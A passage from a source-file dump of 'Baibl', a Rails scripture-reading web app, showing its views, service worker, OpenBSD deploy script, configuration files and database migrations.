\"highlights/toggle\", locals: { verse: @highlight.verse, highlight: nil } %&gt;\n```\n\n## `rails/baibl/app/views/layouts/application.html.erb`\n```erb\n\n\n\n  \n  \n  \n  \n  &lt;%= content_for?(:title) ? \"#{yield :title} \u2014 Baibl\" : \"Baibl\" %&gt;\n  \"&gt;\n  \"&gt;\n  \n  \"&gt;\n  \"&gt;\n  \n  \n  \n  \"&gt;\n  \"&gt;\n  &lt;%= csrf_meta_tags %&gt;\n  &lt;%= csp_meta_tag %&gt;\n  \n  \n  &lt;%= tag.link rel: \"manifest\", href: pwa_manifest_path(format: :json) %&gt;\n  &lt;%= stylesheet_link_tag :app, \"data-turbo-track\": \"reload\" %&gt;\n  \n  &lt;%= yield :json_ld %&gt;\n  &lt;%= javascript_importmap_tags %&gt;\n  \n\n\n\n\n  &lt;%= link_to \"Baibl\", root_path, class: \"brand\" %&gt;\n  &lt;%= link_to \"Scripture\", scripture_index_path %&gt;\n  &lt;%= link_to \"Search\", scripture_search_path %&gt;\n  &lt;%= link_to \"Word study\", scripture_word_study_path %&gt;\n  &lt;% if authenticated? %&gt;\n    &lt;%= link_to \"Bookmarks\", bookmarks_path %&gt;\n    &lt;%= link_to \"Sign out\", session_path, data: { turbo_method: :delete } %&gt;\n  &lt;% else %&gt;\n    &lt;%= link_to \"Sign in\", new_session_path %&gt;\n  &lt;% end %&gt;\n\n&lt;%= tag.p(notice, role: \"status\", class: \"flash-notice\") if notice %&gt;\n&lt;%= tag.p(alert, role: \"alert\", class: \"flash-alert\") if alert %&gt;\n\n&lt;%= yield %&gt;\n\n\n```\n\n## `rails/baibl/app/views/layouts/mailer.html.erb`\n```erb\n\n\n  \n    \n    \n      /* Email styles need to be inline */\n    \n  \n\n  \n    &lt;%= yield %&gt;\n  \n\n```\n\n## `rails/baibl/app/views/layouts/mailer.text.erb`\n```erb\n&lt;%= yield %&gt;\n```\n\n## `rails/baibl/app/views/passwords/edit.html.erb`\n```erb\n\nUpdate your password\n\n&lt;% if flash[:alert] %&gt;\n&lt;%= flash[:alert] %&gt;&lt;% end %&gt;\n\n&lt;%= form_with url: password_path(params[:token]), method: :put do |form| %&gt;\n  \n&lt;%= form.password_field :password, required: true, autocomplete: \"new-password\", placeholder: \"Enter new password\", maxlength: 72 %&gt;\n  \n&lt;%= form.password_field :password_confirmation, required: true, autocomplete: \"new-password\", placeholder: \"Repeat new password\", maxlength: 72 %&gt;\n  \n&lt;%= form.submit \"Save\" %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/baibl/app/views/passwords/new.html.erb`\n```erb\n\nForgot your password?\n\n&lt;% if flash[:alert] %&gt;\n&lt;%= flash[:alert] %&gt;&lt;% end %&gt;\n\n&lt;%= form_with url: passwords_path do |form| %&gt;\n  \n&lt;%= form.email_field :email_address, required: true, autofocus: true, autocomplete: \"username\", placeholder: \"Enter your email address\", value: params[:email_address] %&gt;\n  \n&lt;%= form.submit \"Email reset instructions\" %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/baibl/app/views/pwa/manifest.json.erb`\n```erb\n{\n  \"name\": \"Baibl\",\n  \"short_name\": \"Baibl\",\n  \"icons\": [\n    {\n      \"src\": \"/icon-192.png\",\n      \"type\": \"image/png\",\n      \"sizes\": \"192x192\"\n    },\n    {\n      \"src\": \"/icon.png\",\n      \"type\": \"image/png\",\n      \"sizes\": \"512x512\"\n    },\n    {\n      \"src\": \"/icon.png\",\n      \"type\": \"image/png\",\n      \"sizes\": \"512x512\",\n      \"purpose\": \"maskable\"\n    }\n  ],\n  \"start_url\": \"/\",\n  \"display\": \"standalone\",\n  \"scope\": \"/\",\n  \"description\": \"Dead Sea Scrolls, Old and New Testament, and the Arabic Quran \u2014 sacred texts in one place.\",\n  \"theme_color\": \"#1a1a1a\",\n  \"background_color\": \"#1a1a1a\"\n}\n```\n\n## `rails/baibl/app/views/pwa/service-worker.js`\n```javascript\nconst CACHE   = \"baibl-v2\"\nconst OFFLINE = \"/offline\"\n\nself.addEventListener(\"install\", e =&gt; {\n  e.waitUntil(caches.open(CACHE).then(c =&gt; c.addAll([\"/\", OFFLINE])))\n  self.skipWaiting()\n})\n\nself.addEventListener(\"activate\", e =&gt; {\n  e.waitUntil(caches.keys().then(keys =&gt;\n    Promise.all(keys.filter(k =&gt; k !== CACHE).map(k =&gt; caches.delete(k)))\n  ))\n  self.clients.claim()\n})\n\nself.addEventListener(\"fetch\", e =&gt; {\n  if (e.request.method !== \"GET\") return\n  const url = new URL(e.request.url)\n  const isNav = e.request.mode === \"navigate\"\n  const isAsset = /\\.(js|css|png|jpg|jpeg|webp|svg|woff2?|ico)$/.test(url.pathname)\n  if (isAsset) {\n    e.respondWith(caches.match(e.request).then(cached =&gt; cached || fetch(e.request).then(res =&gt; {\n      const clone = res.clone()\n      caches.open(CACHE).then(c =&gt; c.put(e.request, clone))\n      return res\n    })))\n  } else if (isNav) {\n    e.respondWith(fetch(e.request).catch(() =&gt; caches.match(OFFLINE)))\n  }\n})\n```\n\n## `rails/baibl/app/views/scriptures/_word_study.html.erb`\n```erb\n\n\n  &lt;%= verse.reference %&gt;\n  &lt;% if study %&gt;\n    &lt;%= study.word %&gt;\n    &lt;% if study.original.present? %&gt;\n      &lt;%= study.original %&gt;\n      &lt;% if study.transliteration.present? %&gt;\n        &lt;%= study.transliteration %&gt;\n      &lt;% end %&gt;\n    &lt;% end %&gt;\n    &lt;% if study.strongs.present? %&gt;\n      &lt;%= study.strongs %&gt;\n    &lt;% end %&gt;\n  &lt;% else %&gt;\n    No word study yet\n  &lt;% end %&gt;\n\n&lt;% if study&amp;.definition.present? %&gt;\n  \n&lt;%= study.definition %&gt;\n&lt;% end %&gt;\n&lt;% if xrefs.any? %&gt;\n  \n\n    \nCross-references\n    \n\n      &lt;% xrefs.each do |xr| %&gt;\n        \n\n          &lt;% tv = xr.target_verse %&gt;\n          &lt;%= link_to tv.reference, scripture_chapter_path(tv.book.abbreviation, tv.chapter.number) + \"#v#{tv.number}\" %&gt;\n          &lt;% if xr.kind.present? %&gt;&lt;%= xr.kind %&gt;&lt;% end %&gt;\n          \n&lt;%= truncate(tv.content, length: 120) %&gt;\n        \n      &lt;% end %&gt;\n    \n  \n&lt;% end %&gt;\n```\n\n## `rails/baibl/app/views/scriptures/book.html.erb`\n```erb\n&lt;% content_for :title, @book.name %&gt;\n\n&lt;%= @book.name %&gt;\n\n\n  &lt;% @chapters.each do |chapter| %&gt;\n    &lt;%= link_to chapter.number, scripture_chapter_path(@book.abbreviation, chapter.number) %&gt;\n  &lt;% end %&gt;\n\n```\n\n## `rails/baibl/app/views/scriptures/chapter.html.erb`\n```erb\n&lt;% content_for :title, \"#{@book.name} #{@chapter.number}\" %&gt;\n\n\n  \n&lt;%= @book.name %&gt; &lt;%= @chapter.number %&gt;\n  \n\n    &lt;% if @prev_chapter %&gt;\n      &lt;%= link_to \"\u2190 #{@book.abbreviation} #{@prev_chapter}\", scripture_chapter_path(@book.abbreviation, @prev_chapter) %&gt;\n    &lt;% end %&gt;\n    &lt;%= link_to @book.name, scripture_book_path(@book.abbreviation) %&gt;\n    &lt;% if @next_chapter %&gt;\n      &lt;%= link_to \"#{@book.abbreviation} #{@next_chapter} \u2192\", scripture_chapter_path(@book.abbreviation, @next_chapter) %&gt;\n    &lt;% end %&gt;\n  \n\n\n\n\n\n\n\n  &lt;% @verses.each do |verse| %&gt;\n    \n      &lt;%= verse.number %&gt;\n      &lt;% verse.content.split(/\\s+/).each_with_index do |token, pos| %&gt;\n        &lt;%= token %&gt;\n      &lt;% end %&gt;\n      &lt;% if authenticated? %&gt;\n        &lt;% highlight = @highlights&amp;.[](verse.id) %&gt;\n        &lt;% bookmark  = @bookmarks&amp;.[](verse.id) %&gt;\n        &lt;%= button_to highlight ? \"\u2605\" : \"\u2606\", highlights_path(verse_id: verse.id), method: highlight ? :delete : :post, params: highlight ? { id: highlight.id } : {}, class: (\"active\" if highlight), data: { turbo_stream: true } %&gt;\n        &lt;%= button_to bookmark ? \"\ud83d\udd16\" : \"\ud83d\udccc\", bookmark ? bookmark_path(bookmark) : bookmarks_path(verse_id: verse.id), method: bookmark ? :delete : :post, class: (\"active\" if bookmark), data: { turbo_stream: true } %&gt;\n      &lt;% end %&gt;\n    \n  &lt;% end %&gt;\n\n```\n\n## `rails/baibl/app/views/scriptures/index.html.erb`\n```erb\n&lt;% content_for :title, \"Scripture\" %&gt;\n\n\n  &lt;% @books.each do |book| %&gt;\n    &lt;%= link_to book.abbreviation, scripture_book_path(book.abbreviation), title: book.name %&gt;\n  &lt;% end %&gt;\n\n&lt;% if @books.any? %&gt;\n  \nSelect a book to begin reading.\n&lt;% end %&gt;\n```\n\n## `rails/baibl/app/views/scriptures/search.html.erb`\n```erb\n&lt;% content_for :title, \"Search\" %&gt;\n&lt;%= form_with url: scripture_search_path, method: :get do |f| %&gt;\n  &lt;%= f.search_field :q, value: @query, placeholder: \"Search scripture\u2026\", autofocus: true %&gt;\n  &lt;%= f.submit \"Search\" %&gt;\n&lt;% end %&gt;\n&lt;% if @results %&gt;\n  \n&lt;%= @results.size %&gt; results for \"&lt;%= @query %&gt;\"\n  &lt;% @results.each do |verse| %&gt;\n    \n\n      \n&lt;%= verse.book.abbreviation %&gt; &lt;%= verse.chapter.number %&gt;:&lt;%= verse.number %&gt;\n      \n&lt;%= verse.content %&gt;\n    \n  &lt;% end %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/baibl/app/views/sessions/new.html.erb`\n```erb\n&lt;% if flash[:alert] %&gt;\n&lt;%= flash[:alert] %&gt;&lt;% end %&gt;\n&lt;% if flash[:notice] %&gt;\n&lt;%= flash[:notice] %&gt;&lt;% end %&gt;\n\n&lt;%= form_with url: session_path do |form| %&gt;\n  \n&lt;%= form.email_field :email_address, required: true, autofocus: true, autocomplete: \"username\", placeholder: \"Enter your email address\", value: params[:email_address] %&gt;\n  \n&lt;%= form.password_field :password, required: true, autocomplete: \"current-password\", placeholder: \"Enter your password\", maxlength: 72 %&gt;\n  \n&lt;%= form.submit \"Sign in\" %&gt;\n&lt;% end %&gt;\n\n\n&lt;%= link_to \"Forgot password?\", new_password_path %&gt;\n```\n\n## `rails/baibl/baibl.sh`\n```bash\n#!/usr/bin/env zsh\n# baibl.sh \u2014 deploys the tracked Baibl Rails tree at app/.\nset -euo pipefail\n\nAPP_NAME=baibl\nAPP_DIR=/home/${APP_NAME}/app\nAPP_PORT=10007\nAPP_DOMAIN=baibl.no\nSCRIPT_DIR=${0:a:h}\nSRC_DIR=${SCRIPT_DIR}\nSHARED_BUNDLE_CACHE=${SHARED_BUNDLE_CACHE:-/var/cache/pub4/bundle/ruby34}\n\n. \"${SCRIPT_DIR:h}/shared/deploy/@shared_functions.sh\"\n\nneed_cmd ruby34 bundle doas\n\n[[ -d $SRC_DIR ]] || { log_err \"missing source tree: $SRC_DIR\"; exit 1; }\n\nlog \"${APP_NAME} \u2014 deploying tracked tree \u2192 ${APP_DIR}\"\n\nid \"$APP_NAME\" &gt;/dev/null 2&gt;&amp;1 || doas useradd -m -L daemon -s /bin/ksh \"$APP_NAME\"\ndoas mkdir -p \"$APP_DIR\"\n\n# Parametric shared grammar layer first (provides base classes, concerns, bins, assets, config)\ndoas cp -R \"${SCRIPT_DIR:h}/shared/bin/.\" \"${APP_DIR}/bin/\" 2&gt;/dev/null || true\ndoas cp -R \"${SCRIPT_DIR:h}/shared/public/.\" \"${APP_DIR}/public/\" 2&gt;/dev/null || true\ndoas cp -R \"${SCRIPT_DIR:h}/shared/config/.\" \"${APP_DIR}/config/\" 2&gt;/dev/null || true\ndoas cp -R \"${SCRIPT_DIR:h}/shared/app/.\" \"${APP_DIR}/app/\" 2&gt;/dev/null || true\ndoas cp \"${SCRIPT_DIR:h}/shared/Rakefile\" \"${APP_DIR}/Rakefile\" 2&gt;/dev/null || true\ndoas cp \"${SCRIPT_DIR:h}/shared/config.ru\" \"${APP_DIR}/config.ru\" 2&gt;/dev/null || true\n\n# Per-app tracked tree last (specialized instances + custom overrides win)\ndoas cp -R \"${SRC_DIR}/.\" \"${APP_DIR}/\"\ndoas chown -R \"${APP_NAME}:${APP_NAME}\" \"$APP_DIR\"\n\ncd \"$APP_DIR\"\n\ntypeset bundle_home=\"/home/${APP_NAME}/.bundle\"\ndoas mkdir -p \"$bundle_home\"\n\nif [[ ! -d ${bundle_home}/gems ]]; then\n  if [[ -d ${SHARED_BUNDLE_CACHE}/gems ]]; then\n    log \"Bootstrapping gems from ${SHARED_BUNDLE_CACHE}\"\n    doas cp -R \"${SHARED_BUNDLE_CACHE}/gems\" \"$bundle_home/\"\n    [[ -d ${SHARED_BUNDLE_CACHE}/cache ]] &amp;&amp; doas cp -R \"${SHARED_BUNDLE_CACHE}/cache\" \"$bundle_home/\" || true\n  else\n    log_warn \"No shared bundle cache found; bundle install will resolve gems normally\"\n  fi\n  doas chown -R \"${APP_NAME}:${APP_NAME}\" \"$bundle_home\"\nfi\n\ndoas mkdir -p \"${APP_DIR}/.bundle\"\nprint -- \"---\\nBUNDLE_PATH: \\\"${bundle_home}/gems\\\"\" | doas tee \"${APP_DIR}/.bundle/config\" &gt;/dev/null\ndoas chown -R \"${APP_NAME}:${APP_NAME}\" \"${APP_DIR}/.bundle\"\n\ndoas -u \"$APP_NAME\" sh -c \"cd ${APP_DIR} &amp;&amp; bundle config set --local deployment true &amp;&amp; bundle config set --local without 'development test' &amp;&amp; RAILS_ENV=production bundle install\"\ndoas -u \"$APP_NAME\" sh -c \"cd ${APP_DIR} &amp;&amp; RAILS_ENV=production bin/rails db:create db:migrate\"\n[[ -f ${APP_DIR}/db/seeds.rb ]] &amp;&amp; doas -u \"$APP_NAME\" sh -c \"cd ${APP_DIR} &amp;&amp; RAILS_ENV=production bin/rails db:seed\" || true\n\ninstall_rcd \"$APP_NAME\" \"$APP_DIR\" \"$APP_PORT\" \"$APP_NAME\"\n[[ -n $APP_DOMAIN ]] &amp;&amp; relayd_add_relay \"$APP_DOMAIN\" \"$APP_PORT\"\n\ndoas rcctl restart \"$APP_NAME\" || doas rcctl start \"$APP_NAME\"\nlog_ok \"$APP_NAME live on :$APP_PORT\"\n```\n\n## `rails/baibl/config/application.rb`\n```ruby\n# frozen_string_literal: true\n\nrequire_relative \"boot\"\n\nrequire \"rails\"\n# Pick the frameworks you want:\nrequire \"active_model/railtie\"\nrequire \"active_job/railtie\"\nrequire \"active_record/railtie\"\nrequire \"active_storage/engine\"\nrequire \"action_controller/railtie\"\nrequire \"action_mailer/railtie\"\nrequire \"action_mailbox/engine\"\nrequire \"action_text/engine\"\nrequire \"action_view/railtie\"\nrequire \"action_cable/engine\"\n# require \"rails/test_unit/railtie\"\n\n# Require the gems listed in Gemfile, including any gems\n# you've limited to :test, :development, or :production.\nBundler.require(*Rails.groups)\n\nmodule App\n  class Application &lt; Rails::Application\n    # Initialize configuration defaults for originally generated Rails version.\n    config.load_defaults 8.1\n\n    # Please, add to the `ignore` list any other `lib` subdirectories that do\n    # not contain `.rb` files, or that should not be reloaded or eager loaded.\n    # Common ones are `templates`, `generators`, or `middleware`, for example.\n    config.autoload_lib(ignore: %w[assets tasks])\n\n    # Configuration for the application, engines, and railties goes here.\n    #\n    # These settings can be overridden in specific environments using the files\n    # in config/environments, which are processed later.\n    #\n    # config.time_zone = \"Central Time (US &amp; Canada)\"\n    # config.eager_load_paths &lt;&lt; Rails.root.join(\"extras\")\n\n    # Don't generate system test files.\n    config.generators.system_tests = nil\n  end\nend\n```\n\n## `rails/baibl/config/cable.yml`\n```yaml\ndevelopment:\n  adapter: async\n\ntest:\n  adapter: test\n\nproduction:\n  adapter: redis\n  url: &lt;%= ENV.fetch(\"REDIS_URL\") { \"redis://localhost:6379/1\" } %&gt;\n  channel_prefix: app_production\n```\n\n## `rails/baibl/config/database.yml`\n```yaml\n# SQLite. Versions 3.8.0 and up are supported.\n#   gem install sqlite3\n#\n#   Ensure the SQLite 3 gem is defined in your Gemfile\n#   gem \"sqlite3\"\n#\ndefault: &amp;default\n  adapter: sqlite3\n  max_connections: &lt;%= ENV.fetch(\"RAILS_MAX_THREADS\") { 5 } %&gt;\n  timeout: 5000\n\ndevelopment:\n  &lt;&lt;: *default\n  database: storage/development.sqlite3\n\n# Warning: The database defined as \"test\" will be erased and\n# re-generated from your development database when you run \"rake\".\n# Do not set this db to the same as development or production.\ntest:\n  &lt;&lt;: *default\n  database: storage/test.sqlite3\n\n# Store production database in the storage/ directory, which by default\n# is mounted as a persistent Docker volume in config/deploy.yml.\nproduction:\n  primary:\n    &lt;&lt;: *default\n    database: storage/production.sqlite3\n  cache:\n    &lt;&lt;: *default\n    database: storage/production_cache.sqlite3\n    migrations_paths: db/cache_migrate\n  queue:\n    &lt;&lt;: *default\n    database: storage/production_queue.sqlite3\n    migrations_paths: db/queue_migrate\n  cable:\n    &lt;&lt;: *default\n    database: storage/production_cable.sqlite3\n    migrations_paths: db/cable_migrate\n```\n\n## `rails/baibl/config/deploy.yml`\n```yaml\n# Name of your application. Used to uniquely configure containers.\nservice: app\n\n# Name of the container image (use your-user/app-name on external registries).\nimage: app\n\n# Deploy to these servers.\nservers:\n  web:\n    - 192.168.0.1\n  # job:\n  #   hosts:\n  #     - 192.168.0.1\n  #   cmd: bin/jobs\n\n# Enable SSL auto certification via Let's Encrypt and allow for multiple apps on a single web server.\n# If used with Cloudflare, set encryption mode in SSL/TLS setting to \"Full\" to enable CF-to-app encryption.\n#\n# TLS terminates at relayd in this repo. Rails should set config.assume_ssl and leave config.force_ssl disabled.\n#\n# Don't use this when deploying to multiple web servers (then you have to terminate SSL at your load balancer).\n#\n# proxy:\n#   ssl: true\n#   host: baibl.no\n\n# Where you keep your container images.\nregistry:\n  # Alternatives: hub.docker.com / registry.digitalocean.com / ghcr.io / ...\n  server: localhost:5555\n\n  # Needed for authenticated registries.\n  # username: your-user\n\n  # Always use an access token rather than real password when possible.\n  # password:\n  #   - KAMAL_REGISTRY_PASSWORD\n\n# Inject ENV variables into containers (secrets come from .kamal/secrets).\nenv:\n  secret:\n    - RAILS_MASTER_KEY\n  clear:\n    # Run the Solid Queue Supervisor inside the web server's Puma process to do jobs.\n    # When you start using multiple servers, you should split out job processing to a dedicated machine.\n    SOLID_QUEUE_IN_PUMA: true\n\n    # Set number of processes dedicated to Solid Queue (default: 1)\n    # JOB_CONCURRENCY: 3\n\n    # Set number of cores available to the application on each server (default: 1).\n    # WEB_CONCURRENCY: 2\n\n    # Match this to any external database server to configure Active Record correctly\n    # Use app-db for a db accessory server on same machine via local kamal docker network.\n    # DB_HOST: 192.168.0.2\n\n    # Log everything from Rails\n    # RAILS_LOG_LEVEL: debug\n\n# Aliases are triggered with \"bin/kamal \". You can overwrite arguments on invocation:\n# \"bin/kamal logs -r job\" will tail logs from the first server in the job section.\naliases:\n  console: app exec --interactive --reuse \"bin/rails console\"\n  shell: app exec --interactive --reuse \"bash\"\n  logs: app logs -f\n  dbc: app exec --interactive --reuse \"bin/rails dbconsole --include-password\"\n\n# Use a persistent storage volume for sqlite database files and local Active Storage files.\n# Recommended to change this to a mounted volume path that is backed up off server.\nvolumes:\n  - \"app_storage:/rails/storage\"\n\n# Bridge fingerprinted assets, like JS and CSS, between versions to avoid\n# hitting 404 on in-flight requests. Combines all files from new and old\n# version inside the asset_path.\nasset_path: /rails/public/assets\n\n# Configure the image builder.\nbuilder:\n  arch: amd64\n\n  # # Build image via remote server (useful for faster amd64 builds on arm64 computers)\n  # remote: ssh://docker@docker-builder-server\n  #\n  # # Pass arguments and secrets to the Docker build process\n  # args:\n  #   RUBY_VERSION: ruby-3.4.9\n  # secrets:\n  #   - GITHUB_TOKEN\n  #   - RAILS_MASTER_KEY\n\n# Use a different ssh user than root\n# ssh:\n#   user: app\n\n# Use accessory services (secrets come from .kamal/secrets).\n# accessories:\n#   db:\n#     image: mysql:8.0\n#     host: 192.168.0.2\n#     # Change to 3306 to expose port to the world instead of just local network.\n#     port: \"127.0.0.1:3306:3306\"\n#     env:\n#       clear:\n#         MYSQL_ROOT_HOST: '%'\n#       secret:\n#         - MYSQL_ROOT_PASSWORD\n#     files:\n#       - config/mysql/production.cnf:/etc/mysql/my.cnf\n#       - db/production.sql:/docker-entrypoint-initdb.d/setup.sql\n#     directories:\n#       - data:/var/lib/mysql\n#   redis:\n#     image: valkey/valkey:8\n#     host: 192.168.0.2\n#     port: 6379\n#     directories:\n#       - data:/data\n```\n\n## `rails/baibl/config/environments/production.rb`\n```ruby\n# frozen_string_literal: true\n\nrequire \"active_support/core_ext/integer/time\"\n\nRails.application.configure do\n  # Settings specified here will take precedence over those in config/application.rb.\n\n  # Code is not reloaded between requests.\n  config.enable_reloading = false\n\n  # Eager load code on boot for better performance and memory savings (ignored by Rake tasks).\n  config.eager_load = true\n\n  # Full error reports are disabled.\n  config.consider_all_requests_local = false\n\n  # Turn on fragment caching in view templates.\n  config.action_controller.perform_caching = true\n\n  # Cache assets for far-future expiry since they are all digest stamped.\n  config.public_file_server.headers = { \"cache-control\" =&gt; \"public, max-age=#{1.year.to_i}\" }\n\n  # Enable serving of images, stylesheets, and JavaScripts from an asset server.\n  # config.asset_host = \"http://assets.example.com\"\n\n  # Store uploaded files on the local file system (see config/storage.yml for options).\n  config.active_storage.service = :local\n\n  # Assume all access to the app is happening through a SSL-terminating reverse proxy.\n  config.assume_ssl = true\n\n  # TLS terminates at OpenBSD relayd; Rails must not own HTTPS redirects.\n  # config.force_ssl = true\n\n  # Skip http-to-https redirect for the default health check endpoint.\n  # config.ssl_options = { redirect: { exclude: -&gt;(request) { request.path == \"/up\" } } }\n\n  # Log to STDOUT with the current request id as a default log tag.\n  config.log_tags = [ :request_id ]\n  config.logger   = ActiveSupport::TaggedLogging.logger(STDOUT)\n\n  # Change to \"debug\" to log everything (including potentially personally-identifiable information!).\n  config.log_level = ENV.fetch(\"RAILS_LOG_LEVEL\", \"info\")\n\n  # Prevent health checks from clogging up the logs.\n  config.silence_healthcheck_path = \"/up\"\n\n  # Don't log any deprecations.\n  config.active_support.report_deprecations = false\n\n  # Replace the default in-process memory cache store with a durable alternative.\n  config.cache_store = :solid_cache_store\n\n  # Replace the default in-process and non-durable queuing backend for Active Job.\n  config.active_job.queue_adapter = :solid_queue\n  config.solid_queue.connects_to = { database: { writing: :queue } }\n\n  # Ignore bad email addresses and do not raise email delivery errors.\n  # Set this to true and configure the email server for immediate delivery to raise delivery errors.\n  # config.action_mailer.raise_delivery_errors = false\n\n  # Set host to be used by links generated in mailer templates.\n  config.action_mailer.default_url_options = { host: \"baibl.no\", protocol: \"https\" }\n\n  # Specify outgoing SMTP server. Remember to add smtp/* credentials via bin/rails credentials:edit.\n  # config.action_mailer.smtp_settings = {\n  #   user_name: Rails.application.credentials.dig(:smtp, :user_name),\n  #   password: Rails.application.credentials.dig(:smtp, :password),\n  #   address: \"smtp.example.com\",\n  #   port: 587,\n  #   authentication: :plain\n  # }\n\n  # Enable locale fallbacks for I18n (makes lookups for any locale fall back to\n  # the I18n.default_locale when a translation cannot be found).\n  config.i18n.fallbacks = true\n\n  # Do not dump schema after migrations.\n  config.active_record.dump_schema_after_migration = false\n\n  # Only use :id for inspections in production.\n  config.active_record.attributes_for_inspect = [ :id ]\n\n  config.hosts = [\"baibl.no\", \"www.baibl.no\"]\n  config.host_authorization = { exclude: -&gt;(request) { request.path == \"/up\" } }\nend\n```\n\n## `rails/baibl/config/importmap.rb`\n```ruby\n# frozen_string_literal: true\n\n# Pin npm packages by running ./bin/importmap\n\npin \"application\"\npin \"@hotwired/turbo-rails\", to: \"turbo.min.js\"\npin \"@hotwired/stimulus\", to: \"@hotwired--stimulus.js\" # @3.2.2\npin \"@hotwired/stimulus-loading\", to: \"stimulus-loading.js\"\npin_all_from \"app/javascript/controllers\", under: \"controllers\"\npin \"@stimulus-components/dialog\", to: \"@stimulus-components--dialog.js\" # @1.0.1\npin \"@stimulus-components/auto-submit\", to: \"@stimulus-components--auto-submit.js\" # @6.0.0\npin \"@stimulus-components/character-counter\", to: \"@stimulus-components--character-counter.js\" # @5.1.0\npin \"@stimulus-components/dropdown\", to: \"@stimulus-components--dropdown.js\" # @3.0.0\npin \"stimulus-use\" # @0.52.3\npin \"@stimulus-components/clipboard\", to: \"@stimulus-components--clipboard.js\" # @5.0.0\npin \"@stimulus-components/notification\", to: \"@stimulus-components--notification.js\" # @3.0.0\npin \"@stimulus-components/timeago\", to: \"@stimulus-components--timeago.js\" # @5.0.2\npin \"date-fns\" # @4.1.0\npin \"@stimulus-components/animated-number\", to: \"@stimulus-components--animated-number.js\" # @5.0.0\npin \"@stimulus-components/sortable\", to: \"@stimulus-components--sortable.js\" # @5.0.3\npin \"https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/fetch_request\", to: \"https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--fetch_request.js\" # @0.0.13\npin \"https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/fetch_response\", to: \"https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--fetch_response.js\" # @0.0.13\npin \"https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/lib/utils\", to: \"https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--lib--utils.js\" # @0.0.13\npin \"https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/request_interceptor\", to: \"https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--request_interceptor.js\" # @0.0.13\npin \"https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/verbs\", to: \"https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--verbs.js\" # @0.0.13\npin \"@rails/request.js\", to: \"@rails--request.js.js\" # @0.0.13\npin \"sortablejs\" # @1.15.7\n```\n\n## `rails/baibl/config/puma.rb`\n```ruby\n# frozen_string_literal: true\n\n# This configuration file will be evaluated by Puma. The top-level methods that\n# are invoked here are part of Puma's configuration DSL. For more information\n# about methods provided by the DSL, see https://puma.io/puma/Puma/DSL.html.\n#\n# Puma starts a configurable number of processes (workers) and each process\n# serves each request in a thread from an internal thread pool.\n#\n# You can control the number of workers using ENV[\"WEB_CONCURRENCY\"]. You\n# should only set this value when you want to run 2 or more workers. The\n# default is already 1. You can set it to `auto` to automatically start a worker\n# for each available processor.\n#\n# The ideal number of threads per worker depends both on how much time the\n# application spends waiting for IO operations and on how much you wish to\n# prioritize throughput over latency.\n#\n# As a rule of thumb, increasing the number of threads will increase how much\n# traffic a given process can handle (throughput), but due to CRuby's\n# Global VM Lock (GVL) it has diminishing returns and will degrade the\n# response time (latency) of the application.\n#\n# The default is set to 3 threads as it's deemed a decent compromise between\n# throughput and latency for the average Rails application.\n#\n# Any libraries that use a connection pool or another resource pool should\n# be configured to provide at least as many connections as the number of\n# threads. This includes Active Record's `pool` parameter in `database.yml`.\nthreads_count = ENV.fetch(\"RAILS_MAX_THREADS\", 3)\nthreads threads_count, threads_count\n\n# Specifies the `port` that Puma will listen on to receive requests; default is 3000.\nport ENV.fetch(\"PORT\", 3000)\n\n# Allow puma to be restarted by `bin/rails restart` command.\nplugin :tmp_restart\n\n# Run the Solid Queue supervisor inside of Puma for single-server deployments.\nplugin :solid_queue if ENV[\"SOLID_QUEUE_IN_PUMA\"]\n\n# Specify the PID file. Defaults to tmp/pids/server.pid in development.\n# In other environments, only set the PID file if requested.\npidfile ENV[\"PIDFILE\"] if ENV[\"PIDFILE\"]\n```\n\n## `rails/baibl/config/routes.rb`\n```ruby\n# frozen_string_literal: true\n\nRails.application.routes.draw do\n  resource  :session\n  resources :passwords, param: :token\n\n  root \"scriptures#index\"\n\n  get \"scripture\",                to: \"scriptures#index\",   as: :scripture_index\n  get \"scripture/:abbreviation\",  to: \"scriptures#book\",    as: :scripture_book\n  get \"scripture/:book_abbreviation/:number\", to: \"scriptures#chapter\", as: :scripture_chapter\n  get \"search\",                   to: \"scriptures#search\",    as: :scripture_search\n  get \"word_study\",               to: \"scriptures#word_study\", as: :scripture_word_study\n\n  resources :highlights, only: %i[create destroy]\n  resources :bookmarks\n\n  get 'manifest' =&gt; 'rails/pwa#manifest', as: :pwa_manifest\n  get 'service-worker' =&gt; 'rails/pwa#service_worker', as: :pwa_service_worker\n  get \"up\", to: \"rails/health#show\", as: :rails_health_check\nend\n```\n\n## `rails/baibl/db/migrate/20260501020807_create_users.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateUsers &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :users do |t|\n      t.string :email_address, null: false\n      t.string :password_digest, null: false\n\n      t.timestamps\n    end\n    add_index :users, :email_address, unique: true\n  end\nend\n```\n\n## `rails/baibl/db/migrate/20260501020818_create_sessions.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateSessions &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :sessions do |t|\n      t.references :user, null: false, foreign_key: true\n      t.string :ip_address\n      t.string :user_agent\n\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/baibl/db/migrate/20260507120001_create_books.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateBooks &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :books do |t|\n      t.string :name\n      t.string :abbreviation\n      t.string :testament\n      t.integer :chapter_count\n      t.integer :order_index\n      t.timestamps\n    end\n  end\nend\n```\n\n## `rails/baibl/db/migrate/20260507120002_create_chapters.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CreateChapters &lt; ActiveRecord::Migration[8.1]\n  def change\n    create_table :chapters do |t|\n      t.references :book, foreign_key: true\n      t.integer :number\n      t.timestamps\n    end\n  end\nend\n```\n\n## 